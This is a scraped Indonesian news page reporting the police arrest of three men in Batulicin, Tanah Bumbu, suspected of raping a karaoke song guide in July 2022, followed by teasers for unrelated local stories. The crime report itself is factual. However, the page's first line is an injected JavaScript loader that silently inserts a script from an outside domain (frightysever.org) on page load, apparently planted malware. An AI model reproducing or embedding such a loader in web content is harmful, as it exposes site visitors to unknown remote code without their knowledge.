(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Pemandu Lagu ‘Digilir’, Tiga Lelaki di Batulicin Ditangkap Polisi


KANALKALIMANTAN.COM, BATULICIN – Polsek Batulicin menangkap tiga lelaki yang diduga melakukan tindak pemerkosaan terhadap seorang pemandu lagu.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas Polres AKP HI Made Rasa, Kamis (14/7/2022), mengatakan, ketiga lelaki terduga pelaku tersebut telah diamankan polisi pada Selasa 12 Juli 2022 sekitar pukul 05.00 Wita, di kontrakan di Gang Rama, Desa Tungkaran Pangeran, Kecamatan Simpang Empat, Kabupaten Tanah Bumbu.

Dari identitas KTP yang dikantongi polisi, ketiga lelaki itu merupakan warga pendatang yang berasal dari Malang, Jawa Timur.

Kejadian bermula pada Senin (11/7/2022) sekitar pukul 18.00 Wita, ketiga lelaki tersebut datang ke sebuah tempat karaoke dan meminta ditemani seorang pemandu lagu wanita untuk mendampingi bernyanyi di dalam salah satu ruang karaoke.

 

 

Baca juga: Pungli Pembuatan PTSL di Tanbu, Dua Mantan Pejabat Pertanahan Jadi Tersangka

Berjalan waktu sekitar pukul 20.30 Wita, sang pemandu lagu kemudian dipaksa oleh ketiga lelaki itu untuk melakukan hubungan badan, korban tidak mau. Korban dipaksa oleh ketiganya dengan dua orang melancarkan aksinya dan satu orang menjaga di pintu.

Pemandu lagu kepada polisi mengaku digilir ketiga pelaku untuk melakukan hubungan badan secara bergantian, setelah melaksanakan aksinya ketiganya kabur melarikan diri.

“Atas kejadian pemerkosaan dan pelecehan seksual tersebut, korban mengalami trauma berat dan melaporkan kejadian tersebut ke Polsek Batulicin untuk proses lebih lanjut,” kata AKP H I Made Rasa.

Setelah laporan diterima pihak kepolisian Polsek Batulicin, petugas kemudian melakukan penyelidikan dan melakukan penangkapan para pelaku di dalam rumah kontrakan dengan dalam keadaan tertidur lelap.

Polisi mengantongi sejumlah barang bukti seperti satu lembar celana dalam sobek warna biru, satu lembar baju kaos warna hitam, satu lembar celana jeans pendek warna hitam, dan satu lembar bra warna coklat.

“Selanjutnya para pelaku dan barang bukti diamankan di Mapolsek Batulicin untuk dilakukan proses hukum lebih lanjut dan terancam dijerat pasal 286 KUHP,” tandasnya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Risa

Recent Posts

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

18 menit ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

24 menit ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

3 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

6 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

20 jam ago

This website uses cookies.